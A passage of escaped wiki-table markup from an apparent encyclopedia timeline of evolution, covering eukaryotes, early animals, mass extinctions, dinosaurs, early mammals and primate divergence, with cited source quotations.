| More complex cells appear: the [[eukaryote]]s, which contain various [[organelle]]s. The closest relatives of these are probably the [[Archaea]]. Most have organelles which are probably derived from symbiotic bacteria: [[mitochondrion|mitochondria]], which use oxygen to extract energy from organic molecules and appear similar to today's [[Rickettsia]], and often [[chloroplast]]s, which derive energy from light and synthesize organic molecules and originated from cyanobacteria and similar forms. This is an example of [[co-evolution]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 1200 MYA
| [[Sexual_reproduction#Origin_of_Reproduction|Sexual reproduction]] evolves and leads to faster evolution &lt;ref&gt;&quot;'Experiments with sex have been very hard to conduct,' Goddard said. 'In an experiment, one needs to hold all else constant, apart from the aspect of interest. This means that no higher organisms can be used, since they have to have sex to reproduce and therefore provide no asexual control.'&lt;br /&gt;Goddard and colleagues instead turned to a single-celled organism, yeast, to test the idea that sex allows populations to adapt to new conditions more rapidly than asexual populations.&lt;cite&gt;&lt;/cite&gt;&quot; [http://news.nationalgeographic.com/news/2005/03/0330_050330_sexevolution.html  Sex Speeds Up Evolution, Study Finds] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;. While most life occurs in oceans and lakes, some cyanobacteria may already live in moist soil by this time.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 1000 MYA
| [[Multicellular_organism|Multicellular organisms]] appear: initially colonial [[alga]]e and later, [[seaweed]]s, living in the oceans.&lt;ref&gt;&quot;&lt;cite&gt; What, then, was the selective advantage that led to the evolution of multicellular organisms?&lt;/cite&gt;&quot; [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?db=Books&amp;rid=cell.section.61 From Single Cells to Multicellular Organisms] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 1000-750 MYA
| The first known supercontinent, [[Rodinia]], forms and then breaks apart again.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 950-780 MYA
| [[Sturtian]] [[Ice Age]].  This is a time of multiple near-global glaciation with periods oscillating between a [[Snowball Earth]] and a [[greenhouse effect|greenhouse Earth]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 900 MYA
| There are 481 18-hour days in a year. The [[rotation]] of the Earth has gradually slowed ever since.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 750-580 MYA
| According to the [[Snowball Earth]] hypothesis, the [[Precambrian]] [[Cryogenian|Varangian]] ice age is so severe that the Earth's oceans freeze over completely; only in the tropics do oceans remain liquid.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 600 MYA
| Sponges ([[Porifera]]), Jellyfish ([[Cnidaria]]), flat worms ([[Platyhelminthes]]) and other multicellular [[Animal|animals]] appear in the oceans. Cnidaria and [[Ctenophora]] are some of the earliest creatures to have [[neuron]]s; these are in the form a simple net, with no [[brain]] or [[central nervous system]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 600-540 MYA
| The second supercontinent, [[Pannotia]], forms and breaks up.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 565-525 MYA
| The [[Cambrian explosion]], a rapid set of evolutionary changes, creates all the major body plans ([[Phylum (biology)|phyla]]) of modern [[Animal|animals]].  The cause of this huge expansion in the variety of life forms is still a matter of scientific debate. [[Arthropoda]], represented by an abundance of [[trilobites]], is the dominant phylum. ''[[Pikaia]]'', a small swimmer of the phylum [[chordata]], is possibly the ancestor of humans. ''[[Anomalocaris]]'' is a predator up to 2 meters in length whose living descendant today may well be the ''[[Pycnogonid]]'', or Sea Spider&lt;ref&gt;&quot;&lt;cite&gt;The evolutionary foundation for the organization of many animal body plans is segmental—we are made of rings of similar stuff, repeated over and over again along our body length&lt;/cite&gt;&quot; [http://pharyngula.org/index/weblog/comments/pycnogonid_tagmosis Pycnogonid tagmosis and echoes of the Cambrian] &lt;br /&gt; &quot;&lt;cite&gt;Pycnogonids are primitive chelicerates related to ticks and mites, and they make their living as predators and scavengers. This one, Haliestes dasos, is the oldest sea spider known.&lt;/cite&gt;&quot; [http://pharyngula.org/index/weblog/comments/haliestes_dasos_a_sea_spider/ Haliestes dasos, a sea spider] &lt;br /&gt;&quot;&lt;cite&gt;If you were a trilobite or other small Cambrian
animal, you did NOT want to see this coming&lt;/cite&gt;&quot; [http://www.trilobites.info/anohome.html The Anomalocaris Homepage (animation)]&lt;/ref&gt;.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 530 MYA
| First footprints on land &lt;ref&gt;&quot;&lt;cite&gt;The oldest fossils of footprints ever found on land hint that animals may have beaten plants out of the primordial seas. Lobster-sized, centipede-like animals made the prints wading out of the ocean and scuttling over sand dunes about 530 million years ago. Previous fossils indicated that animals didn't take this step until 40 million years later.&lt;/cite&gt;&quot; [http://www.innovations-report.com/print/print_en01.php3?id=9641&amp;ctyp=1 Oldest fossil footprints on land]&lt;/ref&gt;
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 505 MYA
| The first [[vertebrate]]s appear: the [[ostracoderms]], jawless fish related to present-day [[lamprey]]s and [[hagfish]]es. ''[[Haikouichthys]]'' and ''[[Myllokunmingia]]'' are examples of these jawless fish, or [[Agnatha]]. (See also [[prehistoric fish]]).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 488 MYA
| The [[Cambrian-Ordovician extinction events|first]] of the seven major [[extinction events]] over [[Geologic time scale|geological time]] occurs at the Cambrian-Ordovician transition. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 475 MYA
| The first primitive [[Plant|plants]] move onto land&lt;ref&gt;&quot;&lt;cite&gt;The oldest fossils reveal evolution of non-vascular plants by the middle to late Ordovician Period (~450-440 m.y.a.) on the basis of fossil spores&lt;/cite&gt;&quot; [http://www.clas.ufl.edu/users/pciesiel/gly3150/plant.html Transition of plants to land]&lt;/ref&gt;, having evolved from green algae&lt;ref&gt;&quot;&lt;cite&gt;The land plants evolved from the algae, more specifically green algae, as suggested by certain common
biochemical traits&lt;/cite&gt;&quot; [http://scitec.uwichill.edu.bb/bcs/bl14apl/conq.htm The first land plants]&lt;/ref&gt; living along the edges of lakes. They are accompanied by [[fungus|fungi]], and very likely plants and fungi work [[symbiosis|symbiotically]] together; [[lichens]] exemplify such a symbiosis.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 450 MYA
| [[Arthropod|Arthropods]], with an exoskeleton that provides support and prevents water loss&lt;ref&gt;&quot;&lt;cite&gt;The waxy cuticle of arachnids and insects prevents water loss and protects against desiccation&lt;/cite&gt;&quot; [http://www.nhc.ed.ac.uk/index.php?page=24.25.312.330 Natural history collection: arthropoda]&lt;/ref&gt;, are the first [[animal]]s to move onto land&lt;ref&gt;&quot;&lt;cite&gt;For hundreds of millions of years, animal life resided only in the oceans. And then about 400 million years ago, fossil tracks suggest that an animal called a eurypterid left the water to walk on land. Maybe it was fleeing enemies, maybe it was searching for an easy meal, or maybe it was seeking a safe place to lay its eggs.&lt;/cite&gt;&quot; [http://www.pbs.org/kcet/shapeoflife/episodes/conquerors.html The shape of life. The conquerors. PBS]&lt;/ref&gt;. Among the first are [[Myriapoda]] ([[millipede]]s and [[centipede]]s), later followed by [[spider]]s and [[scorpion]]s.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 450-440 MYA
| The two [[Ordovician-Silurian extinction events]] occur.  Taken together these constitute the second mass extinction event.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 400 MYA
| [[Insects#Fossils_and_evolution|First insects]] are without wings: [[silverfish]], [[springtail]]s, [[bristletail]]s. First sharks appear&lt;ref&gt;&quot;&lt;cite&gt;The ancestry of sharks dates back more than 200 million years before the earliest known dinosaur.&lt;/cite&gt; [http://www.elasmo-research.org/education/evolution/evol_s_predator.htm Introduction to shark evolution, geologic time and age determination]&lt;/ref&gt;. First ''[[Coelacanth]]'' appears; the species had been thought to be long-extinct until living specimens were discovered in 1938. It is often referred to as a [[living fossil]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 370 MYA
| ''[[Cladoselache]]'', a [[shark]], is a high speed predator&lt;ref&gt;&quot;&lt;cite&gt;Cladoselache was something of an oddball among ancient sharks. A four-foot (1.2-metre) long inhabitant of late Devonian seas (about 370 million years ago), it exhibited a strange combination of ancestral and derived characteristics.&lt;/cite&gt; [http://www.elasmo-research.org/education/evolution/ancient.htm Ancient sharks]&lt;/ref&gt;.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 365 MYA
| The [[Late Devonian extinction]] is the third mass extinction.
[[Insect|Insects]] evolve on land and in fresh water from the [[Myriapoda|myriapods]]. Some fresh water lobe-finned [[fish]] ([[Sarcopterygii]]) develop legs and give rise to the [[Tetrapoda]]. This happens in the water; [[Tetrapoda|tetrapods]] ([[Ichthyostega]] , [[Acanthostega]] and ''[[Pederpes finneyae]]'') then use their legs to move out onto land, probably to hunt insects. [[Lung]]s and [[swim bladder]]s evolve. [[Amphibia]]ns today still retain many characteristics of the early tetrapods. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 360 MYA
| Plants evolve [[seed]]s, structures that protect plant embryos and enable plants to spread quickly on land. Creation of [[Woodleigh crater]] (100 km wide) and [[Siljan_(lake)|Siljan Ring]] (40 km wide, [[Dalecarlia]], [[Sweden]]).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 360-286 MYA
| The golden age of sharks&lt;ref&gt;&quot;&lt;cite&gt;Sharks have undergone a lot of evolutionary experimentation since their earliest beginnings. Over hundreds of millions of years, sharks were tested by a mercurial and often violently changeable environment.&lt;/cite&gt;&quot; [http://www.elasmo-research.org/education/evolution/golden_age.htm A Golden Age of Sharks]&lt;/ref&gt;.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 350-250 MYA
| [[Karoo]] [[Ice Age]], beginning with early [[Carboniferous]] and ending with late [[Permian]].  Two particular periods in which much of [[Gondwanaland]] is glaciated from an early centre in Africa and South America, and a later centre in India and Australia, caused by [[polar wandering]]
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 300 MYA
| The supercontinent [[Pangea]] forms and will last for 120 million years; this is the last time all of the earth's continents fuse into one. Evolution of the [[amniotic egg]] gives rise to the [[Amniota]], [[Reptile|reptiles]], who can reproduce on land. Insects evolve flight, and include a number of different orders (e.g. [[Palaeodictyoptera]], [[Megasecoptera]], [[Diaphanopterodea]], and [[Protorthoptera]]) Dragonflies ([[Odonata]]) still resemble many of these early insects. Vast [[Forest|forests]] of [[Lycopodiophyta|clubmosses]] ([[lycopods]]), [[Equisetophyta|horsetails]], and [[tree fern]]s cover the land; when these decay they will eventually form [[Coal#Composition_and_creation|coal]] and [[Petroleum#Biogenic_theory|oil]]. [[Gymnosperm]]s begin to diversify widely. [[Cycads]], plants resembling palms, first appear.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 280 MYA
| The [[Protodonata|Protodonatan]] [[dragonfly]] ''[[Meganeura|Meganeura monyi]]'' is among the biggest insects that ever lived, with a wingspan of about 2 feet. Vertebrates include many [[Temnospondyli|Temnospondyl]], [[Anthracosauria|Anthrachosaur]], and [[Lepospondyli|Lepospondyl]] amphibians and early [[Anapsida|anapsid]] and [[Synapsida|synapsid]] (e.g. ''[[Edaphosaurus]]'') reptiles.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 256 MYA
| ''[[Diictodon]]'', ''[[Cistecephalus]]'', ''[[Dicynodon]]'', ''[[Lycaenops]]'', ''[[Dinogorgon]]'' and ''[[Procynosuchus]]'', are a few of the many [[Therapsida|mammal-like reptiles]] known from South Africa and Russia. [[Pareiasaur]]s were large clumsy herbivores. The first [[Archosauriformes]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 250 MYA
| The [[Permian-Triassic extinction event]] wipes out about 90% of all animal species; this fourth extinction event is the most severe [[Extinction event|mass extinction]] known. 
''[[Lystrosaurus]]'' is a common herbivore that survives the extinction. The [[Archosauria|archosaurs]] split from other reptiles. [[Teleostei|Teleosts]] evolve from among the [[Actinopterygii]] (ray-finned fish), and eventually become the dominant fish group. Atmospheric oxygen, at 10%, is one third of its former level, so animals with air sac breathing systems will do well (present-day [[Bird#Respiration|bird respiration]] exemplifies the air sac system). Some spores of bacteria Bacillus strain 2-9-3 (''Sali bacillus marismortui'') are trapped in salt crystals known as halite in New Mexico. They are re-animated in AD 2000 and have multiplied rapidly. Currently the world oldest living organism.
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| align=&quot;RIGHT&quot; nowrap | 220 MYA
| The [[climate]] is very dry, and dry-adapted organisms are favored: the [[Archosauria|archosaurs]] and the [[Gymnosperm]]s. [[Archosauria|Archosaurs]] diversify into [[crocodilia|crocodilians]], [[dinosaur]]s, and [[pterosaur]]s. 
From [[synapsid]]s come the first [[mammal]] precursors, [[therapsid]]s, and more specifically the [[eucynodonts]]. Initially, they stay small and shrew-like. All mammals have milk glands for their young, and they keep a constant body temperature. Also, one of a pair of [[autosomes]] acquires gene [[SRY]] (derived from the SOX3 gene of the [[X chromosome]]) to become the [[Y chromosome]], which has been decreasing in length since. 
Gymnosperms (mostly [[conifer]]s) are the dominant land plants. Plant eaters will grow to huge sizes during the dominance of the gymnosperms to have space for large guts to digest the poor food offered by gymnosperms.
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| align=&quot;RIGHT&quot; nowrap | 208-144 MYA
| Second major spread of [[sharks]]&lt;ref&gt;&quot;&lt;cite&gt;The second major radiation of sharks occurred during the Jurassic Period, 208 to 144 million years ago. At this time, pterosaurs ruled the skies and the first birds were taking to the air.&lt;/cite&gt;&quot; [http://www.elasmo-research.org/education/evolution/origin_modern.htm The Origin of Modern Sharks] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;.
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| align=&quot;RIGHT&quot; nowrap | 200 MYA
| [[Triassic-Jurassic extinction event|Fifth mass extinction event]] occurs at the Triassic-Jurassic transition. 
Marine reptiles include [[Ichthyosaur]]s and [[Plesiosaur]]s. [[Ammonite]]s and [[belemnite]]s flourish. Dinosaurs survive the extinction and grow to large size, but the [[thecodont]]s, or &quot;socket-toothed&quot; reptiles, die out. Modern amphibians evolve: the [[Lissamphibia]]; including [[Anura]] (frogs), [[Urodela]] (salamanders), and [[Caecilian|Caecilia]].  [[Geminiviridae]], a diverse group of [[virus]]es, are traceable to this epoch or earlier&lt;ref&gt;&quot;&lt;cite&gt;Viruses of nearly all the major classes of organisms&amp;mdash;animals, plants, fungi and bacteria/archaea&amp;mdash;probably evolved with their hosts in the seas, given that most of the evolution of life on this planet has occurred there.   This means that viruses also probably emerged from the waters with their different hosts, during the successive waves of colonisation of the terrestrial environment.&lt;/cite&gt;&quot; [http://www.mcb.uct.ac.za/tutorial/virorig.html Origins of Viruses] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;.
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| align=&quot;RIGHT&quot; nowrap | 180 MYA
| The supercontinent [[Pangea]] begins to break up into several land masses. The largest is [[Gondwana]], made up of the land masses which are now [[Antarctica]], [[Australia]], [[South America]], [[Africa]], and [[India]]. Antarctica is still a land of forests.  [[North America]] and [[Eurasia]] are still joined, forming the Northern supercontinent, [[Laurasia]].
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| align=&quot;RIGHT&quot; nowrap | 164 MYA
|The oldest swimming mammal, [[Castorocauda lutrasimilis]], is the immediate predecessor of modern mammals such as the [[platypus]] and [[echidna]]. 
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| align=&quot;RIGHT&quot; nowrap | 160 MYA
| 3 metres long, ''[[Guanlong wucaii]]'' - meaning ''crested dragon from the five colours'', Xinjiang province in northwestern China, is the oldest Tyrannosaur.
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| align=&quot;RIGHT&quot; nowrap | 150 MYA
| Giant [[dinosaur]]s are common and diverse - ''[[Brachiosaurus]]'', ''[[Apatosaurus]]'', ''[[Stegosaurus]]'', ''[[Allosaurus]]'', along with smaller forms like ''[[Ornitholestes]]'' and ''[[Othneilia]]''. [[bird|Birds]] evolve from [[Theropoda|theropod]] dinosaurs. ''[[Archaeopteryx]]'' is an ancestor of birds, with claws, feathers but no beak.
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| align=&quot;RIGHT&quot; nowrap | 135 MYA
| New dinosaurs ''[[Iguanodon]]'', ''[[Hylaeosaurus]]'', etc., appear after extinction of Jurassic forms. ''[[Microraptor|Microraptor gui]]'', a 77 cm long dinosaur in Liaoning, Northeast China, has bird-like feathered wings on 4 limbs.  
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| align=&quot;RIGHT&quot; nowrap | 133 MYA
| ''[[Jeholornis prima]]'', primitive bird in the Jiufotang Formation of north-eastern China eats seeds. The bird has large, strong wings, and also had a long, bony tail, like many dinosaurs. 
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| align=&quot;RIGHT&quot; nowrap | 130 MYA
| [[Angiosperm]] plants evolve [[flower]]s, structures that attract insects and other animals to spread [[pollen]]. This innovation of the angiosperms causes a major burst of animal evolution and [[co-evolution]].
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| align=&quot;RIGHT&quot; nowrap | 128 MYA
| One early [[tyrannosaur]] is ''[[Dilong paradoxus]]'' in Lioning Province of China. Has feathers and a small body of 5 feet (1.5 m) long.
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| align=&quot;RIGHT&quot; nowrap | 125 MYA
| ''[[Eomaia scansoria]]'', a [[eutheria]]n mammal, which leads to the formation of modern placental mammals. It looks like a modern dormouse, climbing small shrubs in [[Liaoning]], [[China]].  The parrot-beaked ''[[Psittacosaurus]]'' is the ancestor of the later horned dinosaurs. 

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| align=&quot;RIGHT&quot; nowrap | 123 MYA
| ''[[Sinornithosaurus|Sinornithosaurus millenii]]'' is a dinosaur in Liaoning, China that has primitive feathers not used for flight. Other dinosaurs with feathers are ''[[Sinosauropteryx]]'' (most primitive feathers, simplest tubular structures) and ''[[Changchanornis]]''. Have common ancestor with ''[[Archaeopteryx]]''. Other dinosaurs include ''[[Polacanthus]]'' (armoured herbivore) and ''[[Eotyrannus]]'' (early [[tyrannosaur]]).
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| align=&quot;RIGHT&quot; nowrap | 110 MYA
| ''[[Sarcosuchus|Sarcosuchus imperator]]'', eight metric tons, 12 m long, head 2 m long, largest crocodile. Carnivorous dinosaurs included the &quot;[[Dromaeosauridae|raptor]]&quot; ''[[Deinonychus]]'' and sail-backed semi-aquatic [[Spinosauridae|spinosaurs]], herbivores include the tallest known sauropod ''[[Sauroposeidon|Sauroposeidon proteles]]'', as well as the bulbous-nosed iguanodont ''[[Altirhinus]]'' (ancestral to duck-bills) and the [[Nodosauridae|armoured]] ''[[Sauropelta]]''.
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| align=&quot;RIGHT&quot; nowrap | 100 MYA
| The giant theropod dinosaurs ''[[Carcharodontosaurus]]'' and ''[[Giganotosaurus]]'' are even bigger than ''[[Tyrannosaurus]]''.
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| align=&quot;RIGHT&quot; nowrap | 88 MYA
| Breakup of [[Indo-Malagasy]] land mass.
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| align=&quot;RIGHT&quot; nowrap | 80 MYA
| Many kinds of [[Titanosauridae|sauropod]], [[Hadrosauridae|duck billed]], [[Ceratopsidae|horned]] and [[Theropod|meat-eating]] dinosaurs; half of all known dinosaur species are from the last 30 MY of the [[Mesozoic]], after the rise of the angiosperms. [[India]] starts moving to [[Eurasia]].
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| align=&quot;RIGHT&quot; nowrap | 75 MYA
| Last common ancestor of humans and mice &lt;ref&gt;&quot;&lt;cite&gt;A comparison of the two genomes reveals that both have about 30,000 genes, and they share the bulk of them&amp;mdash;the human genome shares 99% of its genes with mice. Humans and mice diverged about 75 million years ago, too little time for many evolutionary differences to accumulate.&lt;/cite&gt;&quot; [http://www.txtwriter.com/Backgrounders/Compgenomes/compgenomes1.html Comparing genomes] &lt;br /&gt; &quot;&lt;cite&gt; Their conclusion: although the mouse and human genomes are very similar, genome rearrangements occurred more commonly than previously believed, accounting for the evolutionary distance between human and mouse from a common ancestor 75 million years ago.&lt;/cite&gt;&quot; [http://www.hindu.com/thehindu/seta/2002/12/19/stories/2002121900070200.htm The Hindu]&lt;br/&gt;&quot;&lt;cite&gt;Mice have many more olfactory genes compared to the human. Smell matters for mice, especially for sex and mating; they also have more genes involved in reproduction (such as [[aphrodisin]], which stimulates mating behaviour in males) and immunity&lt;/cite&gt;&quot; [http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2002/12/05/MN153329.DTL&amp;type=science San Francisco Chronicle]&lt;/ref&gt;.
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| align=&quot;RIGHT&quot; nowrap | 65 MYA
| The [[Cretaceous-Tertiary extinction event]] (sixth extinction event) wipes out about half of all animal species including all non-avian dinosaurs, probably because of a cooling of the climate precipitated by the giant impact of an asteroid: [[iridium]] powder from the asteroid forms a layer that covers the whole Earth. Creation of the [[Chicxulub Crater]] (170 km across, now half-submerged off the Yucatan peninsula of [[Mexico]]). 
Without the presence of the giant and diurnal dinosaurs, [[mammal]]s can increase in diversity and size. Some will later return back to the sea ([[whale]]s, [[sirenia]]ns, [[Seal (mammal)|seals]]) and others will evolve flight ([[bat]]s). A group of small, nocturnal and arboreal, insect-eating mammals called the [[Archonta]] branches into the [[Primate|primates]], tree shrews, and bats. Primates have binocular vision and grasping digits, features that help them to jump from one tree branch to another. One example is ''[[Plesiadapis]]'' which is extinct by 45 million years ago. 
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| align=&quot;RIGHT&quot; nowrap | 60 MYA
| ''[[Creodont]]'', meat eater, northern hemisphere, extinct by 5.2 million years ago, possible ancestor of [[Miacids]].
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| align=&quot;RIGHT&quot; nowrap | 55 MYA
| [[Australia]] breaks away from [[Antarctica]]. The earliest true primates, called [[euprimates]], first appear in [[North America]], [[Asia]], and [[Europe]]. One example is ''[[Carpolestes simpsoni]]'' at [[Clarks_Fork_Yellowstone_River|Clarks Fork Basin]] of [[Wyoming]]. It has grasping digits but no forward facing eyes. Another (earliest?) euprimate ''[[Teilhardina asiatica]]'' ([[Hunan]], China) is mouse-sized, diurnal, and has small eyes.  [[Shortfin_Mako_Shark|Mako Sharks]] are the probable ancestor of the [[Great White Shark]] &lt;ref&gt;&quot;&lt;cite&gt;I also wish to completely dispel the myth that the modern Great White evolved from the megalodon shark. Is the proper way to do this to write this paper, publish it in a scientific journal, and subject it to peer review&amp;mdash;yes? Is that what I am doing&amp;mdash;no.......because I think there is no way to &quot;win&quot; with the opinions on this one as set in stone as they seem to be (on both sides)&lt;/cite&gt;&quot; [http://www.megalodonteeth.com/articles/article2.html Origin of the Modern Great White Shark] (URL accessed on [[January 9]], [[2005]])&lt;br /&gt; &quot;&lt;cite&gt;'Most scientists would probably say the Great Whites evolved from the megalodon line, which existed from two million to twenty million years ago. They were huge sharks, approximately the length of a Greyhound bus and possessing teeth that were up to six inches [150 mm] long,' explains Ciampaglio. 'However, our research, which is based on analyzing fossils of several hundred shark teeth, shows that the Great White shares more similarities with the mako shark.'&lt;/cite&gt;&quot;[http://www.sciencedaily.com/releases/2005/05/050502144430.htm Great White Shark Evolution Debate] (URL accessed on [[January 9]], [[2005]])&lt;br /&gt; &quot;&lt;cite&gt;.. most paleontologists agree [..] that Megalodon is not a direct ancestor of the modern White Shark, more like a great uncle or aunt.&lt;/cite&gt;&quot; [http://www.elasmo-research.org/education/evolution/origin_megalodon.htm The Origin of Megalodon] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;.
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| align=&quot;RIGHT&quot; nowrap | 50 MYA
| The [[evolution of the horse]] starts with [[Hyracotherium]]: the size of a fox with large nails instead of hoofs. Ancestor of [[whales]] (which include [[dolphin]]s), ''[[Ambulocetus|Ambulocetus natans]]'' (Pakistan) probably walks on land like the modern sea lion and swims like modern otters. It has webbed feet that give it added power when swimming, and still hears directly from its ears. ''[[Pezosiren portelli]]'', ancestor of modern [[manatees]], walks like a hippo and swims like an otter. [[Miacid]]s include ''[[Miacis]]'', a five-clawed ancestor of all dogs, cats, bears, raccoon, fox, hyena, jackal, civet; it is a meat-eating, weasel-like tree climber.
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| align=&quot;RIGHT&quot; nowrap | 48.5 MYA
| ''[[Gastornis geiselensis]]'' (Europe, USA), 1.75 m tall carnivorous bird, is a top predator
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| align=&quot;RIGHT&quot; nowrap | 46.5 MYA
| ''[[Rodhocetus]]'', ancestor of whale, successor to ''[[Ambulocetus]]'', no longer needs to drink fresh water.
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| align=&quot;RIGHT&quot; nowrap | 43 MYA
| Earliest [[elephant]], ''[[Moeritherium]]'' ([[Egypt]]): 1m tall, size of a large [[pig]], eats soft, juicy plants. It has a long nose, but no [[trunk]] nor [[tusk]]s.
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| align=&quot;RIGHT&quot; nowrap | 40 MYA
| Primates (order) diverge into suborders [[Strepsirrhini]] (lemurs and lorises) and [[Haplorrhini]] (tarsiers, monkeys and apes); the latter is diurnal and herbivorous. 
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| align=&quot;RIGHT&quot; nowrap | 37 MYA
| ''[[Basilosaurus]]'', up to 20 m long, snakelike ancestor of [[whale|whales]], has reduced but well-developed hind limbs. Hears from sounds transmitted to middle ears through vibrations from lower jaws.  In Egypt's '[[Whale Valley]]', what would later be the Wadi Hitan desert is underwater, teeming with ''Basilosaurus isis'' which had no blowhole but had to raise its head above water to breathe. Early ancestors of [[Strepsirrhini|strepsirrhines]] primate appear in the Egyptian desert, ''[[Biretia fayumensis]]'' and ''[[Biretia megalopsis]]''.&lt;ref&gt;&quot;&lt;cite&gt;Researchers have discovered fossilized remains of two previously unknown primate species that lived 37 million years ago in what is now the Egyptian desert.&lt;/cite&gt;&quot; &quot;&lt;cite&gt;The discovery, researchers say, is evidence that the common ancestor of living anthropoids arose in Africa and that anthropoids have been evolving on the now separated Africa-Arabia landmass for at least 45 million years.&lt;/cite&gt;&quot; [http://news.nationalgeographic.com/news/2005/10/1017_051017_egyptprimates.html New Primate Fossils Support &quot;Out of Africa&quot; Theory] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;.
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| align=&quot;RIGHT&quot; nowrap | 35 MYA
| [[Poaceae|Grasses]] evolve from among the [[angiosperm]]s.
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| align=&quot;RIGHT&quot; nowrap | 30 MYA
| [[Haplorrhini]] (suborder) splits into infraorders [[Platyrrhini]] (New World monkeys) and [[Catarrhini]] (Old World primates). New World monkeys have [[prehensile tail]]s and migrate to [[South America]]. Catarrhines stay in [[Africa]] as the two continents drift apart. One ancestor of catarrhines might be ''[[Aegyptopithecus]]''. New World monkey males are color blind. Haplorrhines: ''[[Bugtipithecus inexpectans]]'', ''[[Phileosimias kamali]]'' and ''[[Phileosimias brahuiorum]]'', similar to today's lemurs, live in rainforests on [[Bugti Hills]] of central Pakistan. Ancestor of all cats, 9 kg ''[[Proailurus]]'', lives in trees in [[Europe]], goes extinct 20 million years ago.
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| align=&quot;RIGHT&quot; nowrap | 27.5 MYA
| ''[[Indricothere]]'', rhino relative, 4.5 m tall, tallest mammal on land, lives in [[Mongolia]].
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| align=&quot;RIGHT&quot; nowrap | 27 MYA
| ''[[Phorusrhacos longissimus]]'' (Terror Bird) 2.5 m tall in the [[Americas]]. Extinct by 15,000 years ago.
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| align=&quot;RIGHT&quot; nowrap | 25 MYA
| [[Catarrhini]] males gain color vision but lose the pheromone pathway &lt;ref&gt;&quot;&lt;cite&gt; Once humans could see in color the visual inspection of a potential mate yielded far more useful information and at a greater distance than was the case with scents. As a result of natural selection color-seeing primates came to have neuronal wiring that caused them to place much more importance on appearance in mate choice. In Zhang's view it is therefore not coincidental that around the time human males developed the ability to see color humans also lost the ability to respond to pheromones&lt;/cite&gt;&quot; [http://www.futurepundit.com/archives/001412.html Evolution Of Color Eyesight Led To Loss Of Pheromone Response] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;. Catarrhini splits into 2 superfamilies, Old World monkeys ([[Cercopithecoidea]]) and apes ([[Hominoidea]]). The Old World primates do not have [[prehensile tail]]s (e.g. [[Baboon]]); some do not have tails at all. All hominoids are without tails. 
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| align=&quot;RIGHT&quot; nowrap | 22 MYA
| India collides with Asia, causing the rise of [[Himalaya]] and the [[Tibetan plateau]]. Cut off from the humidity, [[Central Asia]] becomes a desert. Appearance of ''[[deinotherium]]'', ancient elephant, extinct by 2 million years ago. Evolving from an animal that looks part dog, part bear and part raccoon, the dawn bear (''[[Ursavus elmensis]]'') is the ancestor of all bears living today. It is the size of a fox, hunts in the tree tops, and supplements a diet of meat with plant material and insects. The first group, the ''[[Ailuropodinae]]'', follows a plant-based diet, branches off, and only one member, the giant panda (''[[Ailuropoda melanoleuca]]''), survives today. 
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| align=&quot;RIGHT&quot; nowrap | 21 MYA
| A [[mongoose]]-like creature floats to Madagascar from Africa on a raft of vegetation. It becomes the ancestor of all carnivorous mammals there.
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| align=&quot;RIGHT&quot; nowrap | 20 MYA
| The [[African plate]] collides with [[Asia]]. ''[[Cynodictis]]'', ancestor of dogs, has a shortened fifth claw which foreshadows the [[dewclaw]] (vestigial) of modern dogs. They look like the modern day [[civet]] and have feet and toes suited for running. The two superfamilies of carnivores (canines and felines) are distinct by this time. ''[[Gomphotherium]]'', ancient elephant.
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| align=&quot;RIGHT&quot; nowrap | 19 MYA
| ''[[megatherium|Megatherium americanum]]'' (giant sloth 6m long). Extinct 8000 years ago.
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| align=&quot;RIGHT&quot; nowrap | 16 MYA
| ''[[Squalodon]]'' shows early echolocation of whales. ''[[Megalodon]]'' is a gigantic shark the size of a bus &lt;ref&gt;&quot;&lt;cite&gt;&quot;'At a length of 50 feet (15 metres) and a mass of over 52 tons (47 tonnes), it would take more than a mere morsel to satisfy the megalodon.'&quot;&lt;/cite&gt;&quot; [http://www.elasmo-research.org/education/evolution/origin_megalodon.htm The Origin of Megalodon] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;; it has a long reign and disappears suddenly about 1.6 MYA.
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| align=&quot;RIGHT&quot; nowrap | 15 MYA
| Apes from Africa migrate to Eurasia to become [[gibbon]]s ([[lesser ape]]s) and [[orangutan]]s. [[Human]] ancestors speciate from the ancestors of the gibbon. Orangutans, gorillas and chimpanzees are [[great ape]]s. Humans are [[hominin]]s.
